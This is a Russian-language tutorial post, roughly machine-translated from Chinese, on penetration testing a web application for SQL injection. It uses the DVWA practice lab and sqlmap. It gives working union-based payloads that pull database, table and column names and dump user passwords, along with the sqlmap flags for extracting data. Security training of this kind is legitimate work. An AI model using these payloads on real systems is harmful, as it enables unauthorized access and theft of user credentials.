Обмен технологиями

[Разработка тестов] -- Тестирование на проникновение в систему безопасности

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Проникновение безопасности

1.1 Классификация

  • безопасность веб-базы данных
  • Безопасность сервера веб-приложений (уязвимость загрузки файлов, уязвимость включения файлов)
  • Безопасность веб-клиента (межсайтовая атака XSS)

2. SQL-инъекция

2.1 Введение в SQL-инъекцию

  • SQL-инъекция возглавляет список проблем безопасности
  • Атака SQL-инъекцией заключается в том, что входные параметры не фильтруются, а затем напрямую встраиваются в оператор SQL для анализа.
  • SQL-инъекция — это метод атаки, при котором код SQL добавляется к входным параметрам и передается на сервер для анализа и выполнения.

2.2 Принцип SQL-инъекции

  • Злоумышленник размещает на странице вредоносные символы.
  • Сервер не фильтрует отправленные параметры или фильтрация недостаточна.
  • Злоумышленники используют сращивание операторов sql для получения конфиденциальной информации из базы данных.

2.3 Опасности SQL-инъекций

  • Утечка базы данных
  • Пользовательские данные были незаконно куплены и проданы
  • Нарушение безопасности веб-приложений

2.4 Метод реализации SQL-инъекции

  • Руководство
    • Найти: точка инъекции
    • Входные данные: общий синтаксис комбинации SQL-инъекций для внедрения.
  • автоматический (инструмент)
    • Инструмент: сканирование точек инъекции.
    • Ввод: Автоматически пробовать различные комбинации синтаксиса.

3. Настройка среды

виртуальная машина vmware 3.1

3.1.1 Функция

  • Программное обеспечение виртуальной машины. Вы можете использовать программное обеспечение для установки нескольких виртуальных операционных систем (Linux, Windows) на физических машинах.
  • Целевые дроны и пенетранты работают с программным обеспечением VMware
    Руководство по загрузке VMware

3.2 Целевой дрон (обучение использованию среды проекта)

эффект

3.3 Машина проникновения (обучение атаке среды внедрения sql)

эффект:

  • Kali содержит сотни инструментов, которые можно использовать для различных задач информационной безопасности, таких как тестирование на проникновение, исследование безопасности.

4. Ручная инъекция

4.1 Подготовка окружающей среды

Описание: Практика ручного введения через веб-приложение дрона.
шаг:

  • Запуск дрона-мишени OWASP
    Вставьте сюда описание изображения

  • Доступ к дрону через браузер

  • Посетите проект OWASP-dvwa
    Вставьте сюда описание изображения

  • Авторизоваться
    Вставьте сюда описание изображения

  • Выберите приложение для SQL-инъекции
    Вставьте сюда описание изображения

4.2 Найдите точку инъекции

Примечание. В основном используйте одинарные кавычки и escape-символы, в основном одинарные кавычки.
принцип:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Вставьте сюда описание изображения

Вставьте сюда описание изображения

4.3 Логическое ИЛИ

Вставьте сюда описание изображения

4.4 Угадайте количество столбцов

  1. по союзу
' union select 1,2 #
  • 1

Вставьте сюда описание изображения
2. По логическому ИЛИ

'or 1=1#
  • 1

Вставьте сюда описание изображения

4.5 Получение баз данных, таблиц и столбцов

Получить имя базы данных

' union select 1,database()#
  • 1

Вставьте сюда описание изображения
Получить таблицу

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Вставьте сюда описание изображения

Получить столбец

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Вставьте сюда описание изображения

4.6 Получить данные

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Вставьте сюда описание изображения

4.7 функция конкат

Функция: объединить несколько строк в одну строку.
Синтаксис: concat(str1,str2,…)
Пример:

  • Получите user_id, пользователя, пароль из таблицы пользователей и отобразите их в двух столбцах.
select user_id,concat (user,password) from dvwa,users;
  • 1

Вставьте сюда описание изображения

  • Решите проблему объединения пользователя и пароля вместе.
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Вставьте сюда описание изображения

  • Получить несколько полей
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Вставьте сюда описание изображения

5. Автоматический впрыск

5.1 Знакомство с автоматическим впрыском

Примечание. Автоматическое внедрение означает использование инструментов вместо ручной работы для выполнения операций внедрения SQL.
Инструмент: sqlmap

5.2 Автоматическое внедрение среды

  • Запустить дрон
  • Запустить машину проникновения

5.3 sqlmap

Инструмент: sqlmap

  • Инструмент тестирования на проникновение с открытым исходным кодом
  • Автоматически обнаруживать и использовать уязвимости SQL-инъекций и захватывать серверы баз данных.
    Строить:

5.3.1 Базовое использование sqlmap

параметр

  • -u: сканировать целевой URL
  • –batch: автоматически обрабатывать подсказки.
  • --cookie: дополнительные параметры файлов cookie.

шаг

  • Сканировать точку инъекции
  • Получить имя базы данных
  • Получить имя таблицы
  • Получить имя поля
  • получить данные

Поскольку нам нужно войти в систему, мы сначала получаем файл cookie страницы, на которой выполнен вход.
Вставьте сюда описание изображения
Затем начните сканировать точку инъекции.
Вставьте сюда описание изображения
Успешная инъекция
Вставьте сюда описание изображения

5.3.2 sqlmap получает имя библиотеки

– current-db: запросить имя базы данных, используемое текущим веб-сайтом.
-D: применить указанную базу данных
Вставьте сюда описание изображения
результат операции:
Вставьте сюда описание изображения

5.3.3 sqlmap получает таблицу

– current-db: запросить все имена таблиц в указанной библиотеке (вам нужно использовать -D, чтобы сначала указать имя библиотеки)
-T: указать таблицу
Вставьте сюда описание изображения

результат операции:
Вставьте сюда описание изображения

5.3.4 sqlmap получает столбцы

– Столбцы: запросите все поля в указанной таблице (вам нужно использовать -T, чтобы сначала указать имя таблицы)
-C: указать имя поля

Вставьте сюда описание изображения
результат операции:
Вставьте сюда описание изображения

5.3.5 sqlmap получает данные

--dump: загрузить данные

Вставьте сюда описание изображения
результат операции:
Вставьте сюда описание изображения